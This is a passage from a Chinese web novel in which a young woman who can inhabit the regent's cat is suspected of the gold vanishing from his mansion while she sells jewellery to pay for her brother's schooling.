找来白昼,白昼竟然说,“王爷,小福总是喜欢藏黄金,之前不也是这样吗,说不定……”说一半,他自己都说不下去了。
哪怕是猪脑子也知道,那么重的黄金,小福不可能转移得了。
就算生出三头六臂来,也不可能!
如果不是监守自盗,那就是府里进了大盗。
谢珩玉想到之前丢失的若干黄金,现在想来直接可以排除小福藏黄金的嫌疑,肯定都是大盗偷的。
竟然都潜进自己的卧房**了!
能在重重守卫下,神不知鬼不觉地**,可见,此人真的有三头六臂。
谢珩玉怎能不气,府中守卫成了摆设,大盗日日来挑衅、还偷上了瘾。
于是他下达命令:“彻查!”
然后就有了图纸。
其他的小件黄金,谢珩玉不记得了,只依稀记得雕花镯子的样子。
毕竟……嗯,那很普通。
让白昼去查,没想到他竟将告示贴满京城。
打草惊蛇!谢珩玉被气笑了,“你是生怕盗贼不知道吗?”
“去!去搜查城中各大黄金铺面,看他有无转手卖。”
白昼汗流浃背地领了命。
将命令一级一级吩咐下去,刚撒完告示的侍卫归来,得了新命令立马重新出发清扫大街,回收告示。
奈何纸张满天飞,飞入官宦百姓家,又怎能收得完?
王府侍卫分成几路,各前往城东、城西、城北、城南的黄金铺子搜查。
“踏踏踏”
彼时,福宁刚从糕点铺走出来,就见不远处气势汹汹、疾驰而来的侍卫们气势汹汹,卷起尘土飞扬。
路人们退避三舍,生怕波及自身。
阿婵也拉着她往后退,“小姐,是摄政王府在找什么盗贼。”
“盗贼?”福宁皱眉,有一种不好的预感。
旁边的路人们正拿着一张通缉令议论着:
“王府被**了这么大的黄金啊,这大盗有点本事。”
“啧啧,据说这黄金屋是给摄政王的爱宠睡的。”
“金屋藏猫啊,猫的命都比我好。”
福宁的注意力被吸引过去,身
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体也凑了过去,“可以给我看看不?”
她接过路人递来的通缉令,看见上面的两件宝物,心脏猛地一跳,全身心都被强烈的不安占据。
黄金屋上通缉令就罢了,毕竟那么大的物件,突然消失确实不好解释。
所以,她今日也没打算出手黄金屋。
可没想到,摄政王连镯子的模样都记得这样清楚啊!还能一模一样地画出来……
照金楼的掌柜,不会也看到通缉令吧?
那黄金,能顺利熔掉吗?
诸多疑问,占据大脑,福宁的脚都动不了了。
马蹄声渐近,忽有一王府侍卫跳下马,飞奔到她面前,凶神恶煞地夺过通缉令,“拿来!”
福宁回神,手上的通缉令已经没了。
发出来的东西,又要收回去?
这其中是有什么变故吗?
福宁看着眼前面露凶态的侍卫,冷静下来问道:“是盗贼寻到了吗?”
侍卫瞥了眼她,没认出,转而高声对众路人道,“盗贼危及京城治安,在抓到此贼人之前,还望大家伙不要将王府在抓盗贼一事传开。”
众路人无语,心想现在也晚了呀,盗贼又不傻。
不过面上还是纷纷点头,应下。
福宁看着侍卫们朝着另一方向疾驰而去,她心中仍是忐忑,她该不该回照金楼看看呢?
还是算了,回去显得自己很心虚,更容易败露吧。
倘若真的一切按照最坏的发展,她大不了咬死不认,一个镯子雷同很正常吧……
对了,王府丢失金镯子的那天,她可不在摄政王府!是有不在场证明的。
福宁稍稍放了心,只是没心情吃桂花糕了,提着几份桂花糕回府。
于家门口,与踌躇不前的信差擦肩而过。
信差将她叫住:“这里是赵府吗?你是这家人吗?”
福宁抬头看看自家的匾额,奇怪那信差怎么会不识字,她点点头。
信差开怀地露出大白牙,“这是邕州捎来的。”
邕州。
正是哥哥外出读书的地方。
是哥哥捎东西回来了!
第45章 要钱的哥哥,贫穷的她
只见信差将一件件东西从斜挎着的大包袱里取出,“这个,这个,还有这个,你收一下。”
正惊喜呢,又听他道——
“哦,结账路费十六两六百文,给你抹零,十六两五百文。”
……
多少??
以前怎么不知道路费这么贵呢。
福宁肉疼地捂着钱袋子,信差见她这样子,不满道:“邕州过来,你知道多少路吗,携带这么多东西,容易吗?”
说得也对。
但……这路费也真是巧,她提心吊胆的一单,就这么白干了。
哎,哥哥捎东西为什么不出钱,要收东西的人付啊!
心中腹诽,福宁动作缓慢地将钱袋子打开,数了数里面的钱。
四份桂花糕两百文,再算上钱袋里原本就有一两银子,这下还剩一两三百文了。
早知道不买桂花糕了。
家里厨子做的虽然没外面买的好吃,但也不是不能吃。
福宁一手交钱,信差一手交货。
钱货两清,她开心又肉疼地提着物件回府。
正要去前院将哥哥捎东西来了的好消息告知爹娘,步子刚跨进前院中,就见丫鬟婆子小厮排成几列。
肃静极了。
母亲站在台阶之上,有力的声音难掩疲惫,“如今赵家已不比从前,上个月的月银迟迟未发给你们,我知道你们私下已有颇多怨言。”
“眼下,府中的确养不起那么多人。”
话音落,刚才还肃静的丫鬟婆子,一个个地忍不住出了声——
“夫人,奴婢们都知道您不容易,私下从未有过怨言。”
“是啊夫人,您与老爷宅心仁厚,少爷小姐也从不苛责奴婢们,赵家遭难,奴婢们愿意陪赵家共渡难关,还请夫人不要发卖奴婢们!”
一道道声音在人群中此起彼伏,也在福宁的心里起伏着。
她现在才知,府中上月的月银还没发。
转头看向阿婵,后者手上拿着一袋桂花糕,垂着头小声道,“小姐,奴婢不要银子也行的。”
院中,容婉正色道:“一月如此,却不能月月如此,你们在府中这么多年,我不会发卖你们。上个月的月银便用**契抵吧,领了**契后,各自离去。”
底下人面面相觑,想到府中已如此艰难,夫人竟还同往日一般仁慈,不仅不发卖她们,甚至还将**契归还……
这种时候,自然有人是愿意离开的。
却也有傻乎乎的,不肯走的。
“夫人,老婆子我到哪也遭嫌弃,就算不要月银,我也乐意伺候夫人小姐。”
“是啊奴婢也愿意,奴婢自小在赵府,离了赵府也没有地方去,就让奴婢留下吧!”
容婉闭了闭眼,狠心道:“若将来赵府遭遇不测,你们难道也要跟着一起吗。”
底下人还欲张口,又想到某种最糟糕的情况,到底还是没再开口。
他们领了**契,收拾东西离开赵家,只留下最初的几人。
耿嬷嬷是母亲的陪嫁。
赵管家与赵护院都是老仆,一文一武,打小就跟着父亲的。
至于阿婵,从小没有双亲,是耿嬷嬷的养女。
除此之外,母亲还留了一个厨子,和那个非要留下的瘸了腿的张嬷嬷。
若大的庭院,一下子冷清了许多。
福宁在廊下站了许久,感慨命运弄人,往日结交的友人没一个真心仗义的,反而是仆人们对赵家不离不弃。
她老气横秋地叹了又叹,才提着哥哥捎来的物件进了静容斋去寻母亲。
又将父亲一并喊来,一家三口围在桌子前,久违地展开笑颜,洗净手后由福宁打开信件。
她发誓,倘若知道信件里的内容的话,她是绝不会那么神圣地准备半天的!
两页信纸,先是洋洋洒洒写了如何挂念家里的话。
然后,就是要钱。
若不是认识哥哥的字迹,福宁都要以为是哪个不要脸的冒充哥哥来**了!
哥哥说,手头存银已经花完,邕州书院近期要组织游学,需要五百两银子,让家里赶紧寄过去。
……
换作从前,福宁对五百两没什么概念,如今可不同了,“五百两?!非得游学吗,哥哥他是不是还不清楚家里发生了变故?”
容婉面上愁云更重,“他远在邕州,叫他知道也只是徒增烦恼。”
赵应凝重道:“泽儿去邕州书院求学已两载有余,他不是挥霍的性子,他既开了口,定是必要的,他自小就是同龄
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人中的翘楚,我们不能给他拖了后腿,穷什么都不能穷了学习。”
容婉赞同地点头,“家中没什么值钱的了,夫君名下的那些铺子早都变卖了银钱去打点关系,现下只剩下最后一间我的陪嫁铺子,不过,不在京城。”
也正因不在京城,至今都还没变卖出去,留了下来。
福宁听着父母一人一句,左看看右看看,寻着插话的机会就发表意见,“我不同意!”
容婉朝女儿看去,“你不同意没有用。”
福宁气鼓了脸,“不是我不心疼哥哥,可是,可是铺子是外祖母留给阿娘的,最后一点念想了,怎么能说卖就卖?”
赵应也同意女儿的看法,对妻子道:“夫人,你的铺子留着,我卖宅子吧,反正现在府中没几个人了,不用住这么大的地,届时给泽儿寄了钱,我们手上也能余下很多银子度日。”
“也不行!”福宁最激动了,两只眼睛都写着**,“这宅子是父亲初入京时,花了祖父半辈子的心血才买下的,你将这宅子卖了,祖父晚上要入你梦。”
而且,就她家这情况,留那么多现银在手上,除非是直接跑路,否则就没好事!
爹爹迟早又会将现银拿出去打点关系!
到时候,贫穷的家,连家都没了。
赵应垮了脸,“那……我想办法去借吧。”
福宁不觉得爹爹能成功借到银子,她抬手,隔着衣裳摸到了脖子上挂着的平安扣,“要不……”
就算值不了五百两,以这粉玉的质地,还是能抵些的。
“不行!”容婉和赵应像是读懂了女儿的心,一齐拒绝。
赵应:“你祖母送你的东西,不能卖。”
那还有什么办法。
只能卖黄金了?
可是现在,还是不宜顶风作案吧?
福宁耷拉着头,想不出主意,情绪低落,眼神往边上瞟了瞟,看见哥哥捎来的其他物件。
一个锦囊。
她拿起来一瞧,锦囊上头贴着“若有急事可拆。”
现在就挺急的。
遂,立马将锦囊拆开。
在爹娘的注视下,福宁从锦囊中取出一张字条,一字字读出来:
“可寻二皇子帮助。”
……
第46章 摄政王看见黄金凭空消失
提到二皇子,福宁心里还有怨气呢。
哥哥看人也真是不准,他们家哪还能寻二皇子帮助呀,二皇子每回都要收巨额的。
亏得哥哥从前还是二皇子伴读呢,二皇子根本不讲情面。
“看来哥哥也是识人不清,别读书回来算了。”她小声嘀咕。
赵应叹息一声,伸手取出最后一件东西,“诶,这是给囡囡的吧。”
福宁下意识抬眸,眸中重现期待之色。
她接过来,新奇地打量着,是一个新型的冰风扇,市面上还没有卖的,比市面上卖的扇叶更薄,材质也不同,不是木头做的了,薄如蝉翼的前后扇叶像是能透气,三片扇叶由齿轮拉动旋转,吹出来的风凉爽得很。
边上还写了使用方法,在两片风扇里注入冰水,底下放冰块。
哥哥手巧脑子好,知道她怕热,普通的冰块木风扇都不够凉快,以前他还在家时,就说要给她做个新的。
她没当回事,谁曾想还真叫他研究出来了。
哥哥什么事都想着她,她竟还想让哥哥不要读书了,真是太不应该了!
福宁眼眶瞬间红了,感动的眼泪还没流出来,就叫扇叶里溜出来的风吹干了。
她拿着冰风扇起身,下定决心道:“爹娘,你们不用操心了,我来想办法,我一定会供哥哥完成学业的!”
说着,踏着心事重重又异常果决的脚步离开。
赵应与容婉看得一愣一愣的,既动容兄妹感情和睦,又没将女儿的话当回事。
毕竟,女儿养在深闺,能有什么法子。
那厢。
福宁将冰风扇带回了房里,这风扇是哥哥研究出来的,将来哥哥若能投入制造,也是能赚不少银子的。
可眼下急用钱,卖风扇这条路暂不可行。
她还是得卖黄金。
今日抓得严,或者,明日再去卖。
又或者,她再去摄政王府拿一些小物件,不容易被发现的那种。
害。
脑海里出现这个想法的时候,福宁不免又唾弃自己一回。
真是踏上了一条邪恶的不归路。
但是为了哥哥,不管了!
少女和衣躺到踏上,早早睡去。
“王爷,搜遍了全京城的黄金铺,都没有寻到失窃的黄金,属下想,掌柜们没有为盗贼得罪王爷的必要,或许大盗的确还没有销赃,”白昼的语气沮丧,还有愧对,“是属下办事不力,请王爷责罚。”
屋内气氛还是一如既往地压抑,毕竟王府“失窃”,算是不得了的大事了。
福宁来得巧,刚穿进小福的身体,就听见了重要信息。
照金楼的掌柜没有供出她来。
是个好消息。
她还在考虑究竟要不要顶风作案,就听白昼古怪道:“小福睡姿怎么这么妖娆。”
啊?
福宁睁开眼,见谢珩玉与白昼都盯着自己看。
她低头,这才发现,自己侧卧榻上,摆着极其妖娆的一个姿势,挺着肚子。
于是立马缩了缩,翻了个身。
白昼又问,“王爷今夜是允许小福回房——”改口,“在您的卧房睡吗?”
谢珩玉盯着榻上、背对自己的一坨毛茸茸的小东西,淡淡道:“再给小福做个黄金屋,既然盗贼有三头六臂,今夜就来个引蛇出洞。”
他冷笑一声,语气仿佛要将盗贼**万段,“我倒要看看,他怎么偷。”
榻上的小猫抖了抖。
没法偷。
福宁打消了顶风作案的想法,还是安生一日吧,她与小福的秘密决不能被发现,否则,被当做妖女抓起来怎么办。
白昼很有顾虑地劝道:“王爷,切不可以身犯险啊!”
谢珩玉冰凉地瞥他一眼,“你是担心本王没本事,还是担心府中养的都是酒囊饭袋?”
白昼不敢劝了,怕被说成是酒囊饭袋,“是。”
夜幕降临。
新的黄金屋在绕府环游一周后,如期而至。
和昨晚那个相比,这个小点了。
嘿,看来谢珩玉也并不自信啊,还是怕被偷的,对吧?
福宁的眼神不自觉地覆上打趣色彩,朝谢珩玉看去。
然后被他无视,他无情地捧起她、放进金窝里,而金窝摆在他的床榻上。
外头,潜伏着无数暗卫,现在是万事俱备,只
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等他们口中的“大盗”来了,好抓个现行。
晚上留了一盏微弱的烛灯,房外偶尔传来蝉鸣,还有风吹过树叶簌簌的声音。
感觉是快要下雨了呢。
雨天很好睡觉的。
可福宁不敢轻易睡着,她怕一睡着,金窝就会出现在她家。
所以她提起十二分的精神,睁着大眼睛蹲坐金窝里,盯着微弱光影下、躺着的谢珩玉看。
谢珩玉假寐着,也能感受到有一道黏在自己身上的视线,睁开眼,恰好对上冒着光的眼睛。
……
当下,困意全无。
“快睡。”他说。
福宁不理会。
谢珩玉坐起身,将金屋背过去,再重新躺下。
反正他今夜是不会抱她睡的,以后……也尽量不要了。
他不能再做那些离谱的梦了,他不能染上乱七八糟的毛病。
今夜将她放在榻上,也只是为了抓盗贼的现行,而已。
他继续假寐,却是越睡越清醒。
倒是福宁,听见外面有窸窸窣窣的雨声,有了几分困意。
她不能在金屋里睡。
想着,悄悄地爬出金屋,爪子踩到被褥上,在谢珩玉闭着的双眼前挥了挥,见他没动,才放心地继续走。
她不想睡地上,也不想睡他怀里,那样太暧昧了。
索性绕过他,走到他的背后,背对背侧躺下。
呼,提心吊胆的一天又要过去喽。
她闭起眼,很快呼呼地睡去。
不出片刻,谢珩玉睁开清明的双眼。
虽未碰到背后那个小东西,却也能听见她舒服的呼噜声,真是没有心事的小猫。
他闭上眼,没多久,又睁开了。
明明想好了不能一起睡的。
谢珩玉拢着眉,坐起身,动作轻轻地将熟睡的小猫放回金屋里,看着她柔软的四肢随意摊开。
外面的雨越来越大,今夜盗贼估计是不会出现了。
谢珩玉正打算歇息,忽听雷声炸响“轰隆隆——”
下意识睁开眼,去看小福有无被吵醒。
这一看,整个惊得坐起,怔愣许久不动。
黄金屋呢?!
第47章 世界观崩塌
前后不过眨眼功夫,就算是有三头六臂的大盗也不可能偷走。
“来人!”
他一声令下。
一直在门外守株待兔的白昼迅速冲进屋内。
“王爷!”白昼头戴斗笠,肩膀被雨水沾湿,只站在外间没敢靠近,“贼人还未现身,是否是发现了属下已让人将周围层层围住,他不敢来了?”
语毕,白昼才发觉,屋内凝固的氛围带着湿冷,像是雨下到屋里来了。
谢珩玉视线一直没从睡着的小猫身上挪开,平静的声音掩藏着快要疯魔的震惊,“过来。”
白昼听命,跨步入卧房里间,请示道:“王爷,是否要减少外面的人手,或许这样盗贼会放松警惕。”
他还沉浸在抓盗贼的任务中。
谢珩玉:“你看。”
白昼抬头,没了屏风遮挡,注意力被带了过去。
床榻上的小福睡得好好的,黄金屋却不知去向。
黄金屋呢?
王爷放起来了?
白昼一本正经地问:“王爷是另有打算了?”
谢珩玉还未消化“黄金凭空消失”,眼中没了往日的狠戾,夹杂着几分呆滞和自我怀疑,“黄金消失了。”
随着话音落下,屋内便没声了。
白昼揣测着,什么叫消失了。
反应过来,迅速警惕地环顾四周,“大盗已经偷走了?属下等人一直都在外面,难道他真有三头六臂?!”
白昼惊讶的语气,让谢珩玉不耐烦地双眼覆上杀气,“没了,凭空消失了!”
“能听懂吗?”
“听不懂就给本王滚出去!”
本来也是常理解释不通的事,谢珩玉没法解释。
白昼害怕又顺从地低头,听不懂也得听懂,“是,是黄金凭空消失了,属下立马全府搜寻!”
谢珩玉沉声道:“先不必。”
这件事,只能说明根本就没有大盗。
那么黄金是谁拿的,又是怎么消失的?
他头疼地揉了揉眉心,吩咐道:“明日,去请个道士来。”
白昼不敢质疑,“是。”
这夜,谢珩玉是没法睡好了。
另一边,福宁也没睡好。
她做了个噩梦,身上很重,压得人喘不过气。
醒来看见黄金屋时,既无措又惊惧。
她明明没有和黄金睡一起啊!怎么把黄金带回来了?
惊惧的,是害怕被谢珩玉发现。
不过,她睡的时候,他好像已经睡着了……应该是不会发现的吧?
但还是很惊悚,王府今夜守株待兔,结果黄金却还是不见了,也不知道他们怎么想。
夜半,福宁将新的黄金也塞进箱子里藏起来。
还是不放心,又将箱子上了锁。
趁着深夜外头无人,她也没有惊动阿婵,顾自去寻了把小铲子,跑到后院狗洞处,将上回埋着的小件黄金挖了出来。
府中遣散了下人,倒是不用担心鬼鬼祟祟的模样被人撞见了。
哥哥急用钱,她还是得卖些黄金,再加上自己多年来攒的首饰,全部当掉的话应该有不少钱。
再回到屋里,福宁睡不着了,满脑子都在想摄政王府这会儿是什么情况。
相隔小半座皇城、半夜还遭她惦记的摄政王府,此刻灯火通明,层层守卫守了一宿没撤。
谢珩玉与赵福宁虽相隔甚远,两人却莫名的一致,都在床榻上坐了一宿,等到天亮去干自己该干的事。
唯有真小福睡得很香,嘴角弯弯,像是做了美梦。
最苦的,就是在房梁上守了一宿,穿着蓑衣淋着雨的侍卫。
*
天亮了。
今日,是崔兰亭被授官的日子。
与他一起被授官的,还有状元、榜眼、进士们。
刚入仕的学子并不会被授予高于六品的职位,故,只需要吏部将合适的人选填补到合适的位置,草拟好授官名单后,交由皇帝,皇帝批阅通过就可以上岗了。
如今皇帝养病中,自当交给摄政王批阅。
然而,自打被封为摄政王后、从未缺席早朝的谢珩玉,今日头一回缺席了。
没来。
只是让下属代为传了话,没意见。
早朝期间,就由吏部拟定的名单,按照流程授官了。
崔兰亭留在了京城,被授予从六品京县县令的官职,状元与榜眼则被下派到地方历练。
下朝后,长平侯与吏部尚书寒暄,崔兰亭则穿着蓝色的官袍去县衙熟悉环境。
京县的县丞县尉早早恭候着,见到年轻的新上任的大人,
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都打起了十二分的精神。
都知道新县令是侯爵世子,做这县令也不过是短期过渡,将来前途不可估量,他们自是巴结讨好,没有半点想躲懒的心思。
所以崔兰亭上任的第一天便异常顺利。
他看着自己身上蓝色的官袍,想起当初没日没夜苦读的时候,父母都不曾心疼他、让他休息片刻,只有皎皎会怕他累着,告诉他,就算没考上也没关系。
“兰亭哥哥,就算没考上,你也是优秀的,我还是会嫁给你的。”
崔兰亭还记得,她说这话时的笑容,甜到了他的心坎里,扫清他连日的疲惫。
她是他的一束光,将他严肃无趣的日子、昏暗的心里一并照亮。
他会因为她的话而欢喜,但同时,也清醒地明白,自己必须读书、必须考上,必须承载着家族希望地向前走。
崔兰亭在这条注定要权衡利弊的道路上,喜欢上无需权衡利弊就能坚定选择他的她。
而现在,他很想与她分享今日的喜悦。
哪怕今时今日,皎皎不想选择他,可他,已经有了将她禁锢在身边的力量,他会成为她唯一的选择。
崔兰亭起身,吩咐随从准备马车去赵府。
还未踏出县衙,就听衙役拿着什么东西讨论——
“摄政王府还能失窃?”
“我看啊就不是什么大盗,肯定是有人监守自盗,不然谁能有这么大本事。”
崔兰亭停步,莫名地对此事好奇,将衙役手中的通缉令拿了过来,扫了一眼。
视线停留在雕花的黄金桌上,眸光一沉。
这,这不是皎皎手上戴的那只镯子吗?
通缉令上,没写失窃的具体时间。
他联想到皎皎有在王府留宿照顾小猫,确实是有机会**黄金的。
况且,崔兰亭几乎见过她的所有首饰,以前没见她戴过那只镯子。
崔兰亭捏着通缉令的指节发白,他怎么也想不到,皎皎竟学会了偷东西……
衙役见他脸色不好,说道:“大人,这是摄政王府昨日发出来的,不过现在撤掉了,据说那大盗还未抓到。”
此时县丞赶出来,“大人,若是我们县衙能帮王府抓到这穷凶极恶的盗贼,大人就能添一桩政绩啊!”
第48章 赵福宁,你偷了王府的黄金
崔兰亭未语,也没归还通缉令,折叠好塞进怀里,紧绷着脸离去,“不用,王府都抓不到的人,举县衙之力也难以成功。”
县丞想,说的也是。
崔兰亭此刻,只想快些见到她,问问清楚,她究竟有什么难处需要做这等下作之事。
若她理由恰当,他也并非全然不能理解。
奈何,他赶到赵府时,大门紧闭,让随从敲门,也无人开。
门房不知在做些什么。
他等了半个时辰,殊不知,后面跟着的小尾巴,已将他的行踪报到了寿安伯府。
江月娇得知崔兰亭又去了赵府,气红了眼,在屋内又是一通摔,“一个寒门出生的贱丫头,她究竟有什么好!”
丫鬟们一边劝着,一边收拾一片狼藉的地面。
崔兰亭越是在乎赵福宁,江月娇便越害怕,她急着准备出门,差点与站在门外的江雪娥相撞。
“长姐,你怎么……在门口?”江月娇狐疑道。
江雪娥嘴角挂着淡然的笑,取出一瓶伤药塞进她手心,“你的伤还未好,大夫都说了要静养一阵,你这么不听话,就不怕留疤?”
听到“留疤”二字,江月娇还是有担忧的,只是对上长姐那张假笑的脸,心中哪里还不明白长姐的目的。
江月娇咬着牙,“长姐,我从小敬你,可你为何这样对我?你为了你自己,要牺牲我的幸福吗?非要让赵福宁嫁给崔兰亭吗?你若担心她成你的威胁,不如我们联手将她杀了!以绝后患!”
江雪娥笑容不减,眼底却是一片冰冷,“你当是城外的乞丐,杀一个都没人发现?”
真是蠢货姨娘生的蠢货妹妹。
江雪娥在心里将这个莽夫妹妹骂了一遍,“你最好安生一些,让赵福宁嫁做平妻,只是一时的。”
江月娇可不觉得,“什么一时的,崔兰亭本来就喜欢她,到时候,我拿什么赢她!”
江雪娥冷哼,“到时候我自会帮你,但现在,你给我忍着,反正……你都忍了那么多年了,这些年,父亲让你巴结她,你不都做得很好吗?”
江月娇一噎,想到过往一直在“讨好”一个自己看不起的人,只觉得**万分。
她恨恨地看着江雪娥离开,声音似淬了毒,“凭何他爹能压我爹一头,凭何她要压我一头!凭什么永远要牺牲我?”
“我就是要她死!”
她绝不要、成为长姐嫁给摄政王的牺牲品!
江月娇收拾好自己,出门前往赵府。
*
那厢,福宁刻意等到了下午天最热的时候出门。
这样,街上的人最少。
嘿嘿。
她带着阿婵,一人抱着两个首饰盒,打开府门一条缝,两人钻出来再合上。
一出门,就被崔兰亭堵住了去路。
烈日炎炎,福宁眯着眼,抬头都快看不清他的脸了,“你怎么又来了?”
崔兰亭等了半个时辰尚且不觉得苦,此时听见她的话,声音都染上酸涩,“皎皎,我是想问问你,你是不是有什么难处?”
“难处?”福宁点头,“你要是真的关心,就会知道,我有很多难处。”
崔兰亭一听,果然如此,又见她手里抱着首饰盒,心中一沉,“你这些,是要拿去卖?”
福宁不想回答,“同你有什么关系。”
崔兰亭上前一步,“你若是缺钱,可以跟我说,何必到这一步。”
福宁后退一步,“不必了,你莫靠我那么近,路人看见的话,又该乱传了。”
身后阿婵白眼都快翻上了天,“崔公子若真的关心我家小姐,就不用等我家小姐跟你说难处了,府上遭遇变故,现下什么处境,您也并非不知,您不主动来替小姐解决问题,反而还要让小姐有求于您吗?届时,您是不是要趁人之危,让我家小姐做妾或平妻才能相帮?”
被一个丫鬟怼,崔兰亭的脸上并不好看,只是不想在福宁面前责难她的人。
见她不语,他抬袖从腰间取下钱袋子,递给她,“皎皎,我的,便是你的,你有任何难处,皆可告诉我。”
福宁看着他手中鼓鼓的钱袋子,摇了摇头,“不用了。”
拿崔兰亭的,还不如去摄政王府偷呢。
虽然偷的过程纠结罪恶,卖的过程惊心动魄,但是用的时
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候,心安理得。
“我还有事,我先走了。”她转身欲走,不想管他的情绪怎样。
背过身时,却听他情绪萎靡,语气沉痛地问道:
“皎皎,难道您情愿做一些不入流的事,也不愿接受我的帮助吗?”
“我的东西在你眼里,还比不上……偷窃所得吗?”
偷窃一词,崔兰亭说得极轻。
但相距不远的福宁还是能听到,毕竟他本来就是说给她听的。
阿婵自然也听见了。
面对这突如其来的对小姐的“污蔑”,阿婵差点跳脚,“崔公子!哪怕你是侯爵世子,也不能这般胡说呀!即便赵家条件不如从前,但我家小姐是清清白白的姑娘,您不会因为得不到就想毁掉啊!”
“你闭嘴,”崔兰亭方才没能训斥阿婵,是看在福宁的面上,但如今自己被她冷漠以对,他就不能再纵容她的下人,“我在同你主子说话,这里没你说话份。”
他的目光望着赵福宁的后背。
直到福宁转过身来。
她面上镇定,没想到照金楼没把她供出来,倒是崔兰亭先知道了。
反正她不会认的,“阿婵说得对,你不要污蔑我。”
“哦?”崔兰亭不是没有脾气的,他冷着脸,还是有心给她留脸面,“要在这里说吗,还是,皎皎请我进府里说?”
福宁偏头,“我不懂你在说什么,为何要请你进府。”
见她死不认错的样子,崔兰亭心中有些失望,他将怀中的通缉令拿出来,递给她。
福宁不接,不能慌,假装不明白,“这什么,我都说了不用你的帮助,也不用给我钱。”
崔兰亭凝视着她,“这是通缉令,摄政王府失窃了。”
福宁皱眉,“失窃了,找**什么?我又抓不了贼。”
她面上毫无破绽,脸上仿佛写着“你真是个莫名其妙的人”,与他对视,亦不退缩。
两人就这么对视着,崔兰亭清俊的脸上被她的执拗磨去了温度,他的薄唇紧抿成线,审视的目光中带着不赞同。
他沉默片刻,收回通缉令,“皎皎,你的手镯,我看到了。”
第49章 摄政王围堵福宁
福宁疑问,“什么手镯,哪只?”
“你手上的。”
“我手上没有呀。”她展示着。
崔兰亭看见她洁白的臂腕上空无一物,“你,已经拿去卖了?”
福宁闻言,声音冰冷,“你非要说我偷东西了是不是,还是,你想要摄政王府把我抓去?”
说着,她颇有几分耍赖的姿态,伸出双手,“来啊,你把我抓到摄政王府去,说我偷了他们的东西,但是证据呢?我手无缚鸡之力,到底能偷了他们什么啊?”
崔兰亭闭了闭眼,语气带着说教的口吻,“赵福宁!”
他很少喊她大名,可见是真的气了。
“对了,”福宁想起来,“你以后就喊我大名,不能再唤皎皎,那样不合适。”
崔兰亭手背上青筋都跳了跳,“你……”
他深吸一口气,冷静下来,“我是认真地与你说事,你的镯子与王府失窃的镯子一模一样,若你没将它卖掉,或许是在你手上的首饰盒里,我无意探究镯子究竟在哪,我只是想告诉你,你若有难处,我可以帮你,你不该做那些脏事,以后也不能再做了。”
赵福宁跟着沉默了,情绪低落地叹息一声,“你若一定要这样想,我也无话可说。”
反正,镯子也不在她手上了。
“我真的该走了,不然当铺要关门了,我还得给我哥哥凑学费呢。”她又叹一声,转身上马车。
崔兰亭阴郁地站立片刻,额间的汗顺着脸留下。
方才在外等了太久,虽在马车里,也闷得慌,他的官袍都浸了汗。
看着她离开,他深感无力。
不远处,一个女人死死地盯着这头。
江月娇早就到了,躲在拐角处,断断续续地偷听了不少内容。
说来古怪,她既担心赵福宁与崔兰亭亲近,但真的看见赵福宁屡次拒绝崔兰亭,她心里仍旧觉得不爽快。
凭什么,她喜欢的,是赵福宁不要的。
哪怕是赵福宁不要的,崔兰亭却还是更喜欢赵福宁,不珍惜她。
她心里愈发痛恨赵福宁的假清高。
方才,隐隐约约听见崔兰亭说的,“王府失窃”“你的镯子一样”“不要做脏事”“在首饰盒里”等字眼,串联起来的内容,令江月娇有些意外。
她悄悄离开,迅速去打听了一番,还是从丫鬟口中得知,昨日摄政王府发出了很多份通缉令,闹得路人皆知王府失窃,被偷的是一个镯子,和一个黄金屋。
盗贼最后有没有找到,没人知道。
江月娇眼中闪过疯狂的光芒,倘若真是赵福宁穷疯了、去偷了摄政王的东西,便是自寻死路?!
如果她去告发赵福宁,就能顺利解决掉她与长姐共同的威胁,还不用脏了自己的手。
这是个好机会,不能错过。
想着,江月娇写了一封信,在路上找了小孩,给了银钱,让小孩代为送信。
以防万一,万一搞错了,赵福宁是无辜的,王府也寻不到寿安伯府来。
这个计划,万无一失。
江月娇是这样想的。
然而摄政王府收信,怎么可能不查来源?
王府亲卫调查起来,并不费劲,一炷香的功夫,就查出信件的源头,并将信交到谢珩玉的手上。
彼时,道士正在王府内做着驱鬼的仪式。
谢珩玉并不觉得伯府能有什么重要的事,连信也未接,示意白昼看信。
后者看完,一脸犹豫,“王爷,信里说,要揭发赵小姐偷了您的黄金,还说赵小姐现在正拿去卖呢。”
白昼传达完,自己根本不信。
不论是黄金屋丢失的时间,还是镯子的丢失时间,都并不是赵小姐居住在王府的那日。
怎么偷呢?除非她有三头六臂。
谢珩玉想的却没有白昼那么简单,经过昨夜黄金的凭空消失,他现在什么也不信,什么也都能信。
江二不久前才被打了一顿,不会有胆量骗他。
谢珩玉脑海中,闪过少女穿着襦裙沉睡的容颜。
他骤然起身,两鬓青丝错落,狭长的双眸藏着令人心颤的冷冽,“查查她人在哪儿?”
没过多久,暗线来报:“赵小姐正在照金楼交易。”
看来,信中所言,并非空穴来风。
谢珩玉眼尾微扬,嘴角冷笑,玄色的下摆浮动,他抬步率亲卫离了王府。
道士的仪式还没结束,转过头时,发现摄政王已经走了,只留下几个侍卫面无表情地盯着他,告诉他,“道长,您继续。”
“……”继续。
王府的亲卫浩荡出行,消息
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传到伯府,江月娇心头升起疯狂的小火苗,摄政王相信了!今日赵福宁完了!
她的面上露出期待的笑,那笑被扭曲的内心影响显得狰狞可怖,吓了身边的丫鬟一跳,偏她自己不知。
西市。
照金楼。
福宁今日还选了这里,主要是为了看看掌柜的态度。
见掌柜面无异色,并未询问起昨日那只金手镯,她便彻底不再担心。
而今日要卖的首饰里,并无通缉令上的东西。
福宁将装着黄金的首饰盒递过去,“掌柜,我要卖这些。”
掌柜视线掠过她与阿婵拿着的另外三个首饰盒,疑问,“那些呢?”
福宁摇头,“那些不是黄金,我打算去当铺当掉。”
掌柜斟酌须臾,温柔道:“姑娘可以给我瞧瞧,若成色款式没问题,我也能收。”
黄金铺子也收其他首饰?
福宁虽心有诧异,还是将所有首饰盒都递了过去,只要价格合适,她当然是愿意的。
卖哪儿不是卖呢,还省的专程跑一趟当铺了。
掌柜将四个首饰盒挨个看了一遍,速度很快,“姑娘开价吧。”
福宁原以为是掌柜报价,没想到对方让自己报价,心里没底,“四百两?”
这些首饰加起来,原价估计在五百两左右。
卖二手,她报四百两都觉得报高了。
掌柜却一点都不犹豫,“成交。”
在福宁愣住的时候,掌柜已经将银票拿出来了,拍在首饰柜上,“姑娘稍等,我开张凭据给你。”
掌柜抱起几个首饰盒,转身拿进隔间里。
小半炷香后,拿着票据出现,“姑娘觉得没有问题的话,就在这里签个名,就可以了。”
福宁点点头,心里觉得一切都过于顺利了。
